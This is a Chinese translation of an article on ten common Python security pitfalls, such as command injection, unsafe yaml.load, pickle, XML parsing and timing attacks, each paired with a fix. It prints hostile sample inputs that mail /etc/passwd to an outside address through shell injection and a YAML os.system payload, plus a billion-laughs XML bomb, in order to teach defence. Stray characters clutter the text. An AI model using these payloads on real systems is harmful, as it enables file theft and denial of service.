Python 中的 10 個常見安全漏洞酗电,以及如何避免

簡評:編寫安全代碼很困難魄藕,當(dāng)你學(xué)習(xí)一個編程語言、模塊或框架時撵术,你會學(xué)習(xí)其使用方法背率。 在考慮安全性時,你需要考慮如何避免被濫用嫩与,Python 也不例外寝姿,即使在標(biāo)準(zhǔn)庫中,也存在用于編寫應(yīng)用的不良實踐划滋。然而饵筑,許多 Python 開發(fā)人員卻根本不知道它們。

1. 輸入注入(Input injection)

注入攻擊非常廣泛而且很常見处坪,注入有很多種類根资,它們影響所有的語言、框架和環(huán)境稻薇。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合嫂冻。我讀過很多代碼,其中「escaping quotes」被認(rèn)為是一種修復(fù)塞椎,但事實并非如此桨仿,可以通過這個鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen案狠、subprocess服傍、os.system 調(diào)用一個進程并從變量中獲取參數(shù)時發(fā)生钱雷,當(dāng)調(diào)用本地命令時,有人可能會將某些值設(shè)置為惡意值吹零。

下面是個簡單的腳本罩抗,使用用戶提供的文件名調(diào)用子進程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會將 filename 的值設(shè)置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險的東西。

修復(fù):

如果你使用了 Web 框架灿椅,可以用附帶的實用程序?qū)斎脒M行清理套蒂,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢茫蛹,大多數(shù) ORM 都具有內(nèi)置的消毒方法操刀。

對于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入婴洼。

2. assert 語句(Assert statements)

不要使用 assert 語句來防止用戶訪問不應(yīng)訪問的代碼段骨坑。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在,默認(rèn)情況下柬采,Python 以 debug 為 true 來執(zhí)行腳本欢唾,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運行粉捻,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼礁遣,而不管用戶是否是 is_admin

修復(fù):

僅在與其他開發(fā)人員進行通信時使用 assert 語句杀迹,例如在單元測試中或為了防止不正確的 API 使用亡脸。

3. 計時攻擊(Timing attacks)

計時攻擊本質(zhì)上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性树酪,所以通常不能用于高延遲的遠程網(wǎng)絡(luò)浅碾。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計時攻擊续语。

但是垂谢,如果你有提示輸入密碼的命令行應(yīng)用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間疮茄。

修復(fù):

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值滥朱。

4. 臨時文件(Temporary files)

要在 Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名力试,然后使用該名稱創(chuàng)建一個文件徙邻。 「這是不安全的,因為另一個進程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個進程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件畸裳$掷纾」這意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

如果調(diào)用不正確的方法,則最新版本的 Python 會拋出運行警告帅容。

修復(fù):

如果需要生成臨時文件颇象,請使用 tempfile 模塊并使用 mkstemp。

5. 使用 yaml.load

引用 PyYAML 文檔:

警告:使用從不可信源接收到的數(shù)據(jù)來調(diào)用 yaml.load 是不安全的并徘! yaml.load 和pickle.load 一樣強大遣钳,所以可以調(diào)用任何 Python 函數(shù)。

在流行的 Python 項目 Ansible 中找到的這個美麗的例子麦乞,你可以將此值作為(有效)YAML 提供給 Ansible Vault蕴茴,它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以姐直,從用戶提供的值中有效地加載 YAML 文件會讓應(yīng)用對攻擊打開大門荐开。

修復(fù):

總是使用 yaml.safe_load,除非你有一個非常好的理由简肴。

6. 解析 XML(Parsing XML)

如果你的應(yīng)用程序要加載、解析 XML 文件百侧,則你可能正在使用 XML 標(biāo)準(zhǔn)庫模塊砰识。通過 XML 的攻擊大多是 DoS 風(fēng)格(旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)),這些攻擊十分常見佣渴,特別是在解析外部(即不可信任的)XML 文件時辫狼。

其中有個「billion laughs」,因為他的 payload 通常包含很多(十億)「lols」辛润∨虼Γ基本上,這個原理是可以在 XML 中使用參照實體砂竖,所以當(dāng)解析器將這個 XML 文件加載到內(nèi)存中時真椿,它會消耗數(shù) G 大小的內(nèi)存(RAM)。

試試看乎澄,如果你不相信我的話 :-)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻擊使用外部實體擴展突硝。XML 支持從外部 URL 引用實體,XML解析器通常會毫無疑問地獲取并加載該資源置济〗馇。「攻擊者可以規(guī)避防火墻并訪問受限制的資源,因為所有請求都是由內(nèi)部可信的 IP 地址創(chuàng)建的浙于,而不是來自外部护盈。」

需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML 羞酗,例如配置文件腐宋、遠程 API。你甚至可能不知道某個依賴關(guān)系會將這些類型的攻擊置之不理。

修復(fù):

使用 defusedxml 替換標(biāo)準(zhǔn)庫模塊脏款,它增加了針對這些類型攻擊的安全防護围苫。

7. 受污染的 site-packages 或 import 路徑

Python 的 import 系統(tǒng)非常靈活,當(dāng)你想要為測試寫猴子補丁或重載核心功能時撤师,這是非常棒的剂府。

但這卻是 Python 中最大的安全漏洞之一。

安裝第三方軟件包剃盾,無論是在虛擬環(huán)境中還是全局(通常不鼓勵)都會讓你看到這些軟件包中的安全漏洞腺占。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱,但是卻執(zhí)行了任意代碼痒谴。

需要考慮的另一種情況是依賴的依賴衰伯,他們可能包含漏洞,他們也可以通過導(dǎo)入系統(tǒng)覆蓋Python 中的默認(rèn)行為积蔚。

修復(fù):

看看 http://PyUp.io 及其安全服務(wù)意鲸,為所有應(yīng)用程序使用虛擬環(huán)境,并確保全局的 site-packages 盡可能干凈尽爆,檢查包簽名怎顾。

8. 序列化 Pickles

反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類可以聲明一個 reduce 方法漱贱,該方法返回一個字符串槐雾,或一個可調(diào)用的元組以及使用 pickle 序列化時調(diào)用的參數(shù)。攻擊者可以使用它來包含對其中一個子進程模塊的引用幅狮,以在主機上運行任意命令募强。

修復(fù):

切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗證來源的數(shù)據(jù)。改用另一種序列化模式(如JSON)崇摄。

**9. 使用系統(tǒng) Python 運行時并且不修復(fù)它

大多數(shù) POSIX 系統(tǒng)都自帶有一個 Python 2 版本(通常是舊版本)擎值。

有時候 Python(即 CPython 是用 C 語言編寫的) 解釋器本身存在漏洞, C 中的常見安全問題與內(nèi)存分配有關(guān)配猫,所以大多是緩沖區(qū)溢出錯誤幅恋,CPython 多年來一直存在一些溢出漏洞,每個漏洞都在后續(xù)版本中進行了修復(fù)泵肄。也就是說捆交,如果及時升級 python 運行時,就很安全腐巢。

修復(fù):

為生產(chǎn)應(yīng)用程序安裝最新版本的 Python品追,并及時安裝修復(fù)更新!

10. 不修復(fù)依賴關(guān)系

類似于不修補 python 運行時冯丙,還需要定期修補依賴關(guān)系肉瓦。

在 PyPi 的軟件包中「釘住」 Python 軟件包版本的做法是很糟糕的遭京,目的是「這些是能正常工作的版本」,所以每個人都不升級它泞莉。

上面提到的代碼中的所有漏洞在第三方包中存在時同樣重要哪雕,這些軟件包的開發(fā)人員每時每刻都在修復(fù)安全問題。

修復(fù):

使用像 PyUp.io 這樣的服務(wù)來檢查更新鲫趁,向應(yīng)用程序提出 pr斯嚎,并運行測試以保持軟件包是最新的。


原文鏈接:10 common security gotchas in Python and how to avoid them
推薦閱讀:新來的開發(fā)花了四天時間來制作一個簡單的 HTML 和 CSS 按鈕挨厚,我該解雇他么堡僻?

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市疫剃,隨后出現(xiàn)的幾起案子钉疫,更是在濱河造成了極大的恐慌,老刑警劉巖巢价,帶你破解...
    沈念sama閱讀 217,826評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件牲阁,死亡現(xiàn)場離奇詭異,居然都是意外死亡壤躲,警方通過查閱死者的電腦和手機咨油,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,968評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來柒爵,“玉大人,你說我怎么就攤上這事赚爵∶拚停” “怎么了?”我有些...
    開封第一講書人閱讀 164,234評論 0 354
  • 文/不壞的土叔 我叫張陵冀膝,是天一觀的道長唁奢。 經(jīng)常有香客問我,道長窝剖,這世上最難降的妖魔是什么麻掸? 我笑而不...
    開封第一講書人閱讀 58,562評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮赐纱,結(jié)果婚禮上脊奋,老公的妹妹穿的比我還像新娘。我一直安慰自己疙描,他們只是感情好诚隙,可當(dāng)我...
    茶點故事閱讀 67,611評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著起胰,像睡著了一般久又。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,482評論 1 302
  • 那天地消,我揣著相機與錄音炉峰,去河邊找鬼。 笑死脉执,一個胖子當(dāng)著我的面吹牛疼阔,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播适瓦,決...
    沈念sama閱讀 40,271評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼竿开,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了玻熙?” 一聲冷哼從身側(cè)響起否彩,我...
    開封第一講書人閱讀 39,166評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎嗦随,沒想到半個月后列荔,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,608評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡枚尼,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,814評論 3 336
  • 正文 我和宋清朗相戀三年贴浙,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片署恍。...
    茶點故事閱讀 39,926評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡崎溃,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出盯质,到底是詐尸還是另有隱情袁串,我是刑警寧澤,帶...
    沈念sama閱讀 35,644評論 5 346
  • 正文 年R本政府宣布呼巷,位于F島的核電站囱修,受9級特大地震影響材义,放射性物質(zhì)發(fā)生泄漏嫌吠。R本人自食惡果不足惜压固,卻給世界環(huán)境...
    茶點故事閱讀 41,249評論 3 329
  • 文/蒙蒙 一诚欠、第九天 我趴在偏房一處隱蔽的房頂上張望惋鹅。 院中可真熱鬧逝她,春花似錦徘禁、人聲如沸缩幸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,866評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至芋膘,卻和暖如春鳞青,著一層夾襖步出監(jiān)牢的瞬間霸饲,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,991評論 1 269
  • 我被黑心中介騙來泰國打工臂拓, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留厚脉,地道東北人。 一個月前我還...
    沈念sama閱讀 48,063評論 3 370
  • 正文 我出身青樓胶惰,卻偏偏與公主長得像傻工,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子孵滞,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,871評論 2 354

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理中捆,服務(wù)發(fā)現(xiàn),斷路器坊饶,智...
    卡卡羅2017閱讀 134,656評論 18 139
  • 五彩繽紛的童年里,有高興的一天,有悲傷的一天,有幸運的一天,有倒霉的一天,還有快樂的一天…… 今天的快樂即將開始啦...
    RYB_悠悠班閱讀 207評論 0 0
  • 喜歡明媚的夏天里的樹 因為每望一眼 那綠便會讓你心情舒暢 像是一道清泉 涼爽了我的整個夏天
    土豆不是馬鈴薯閱讀 210評論 0 0
  • 她不敢告訴他泄伪,不敢明確得告訴他,她已經(jīng)變得越來越痛苦了…
    之年z閱讀 163評論 0 0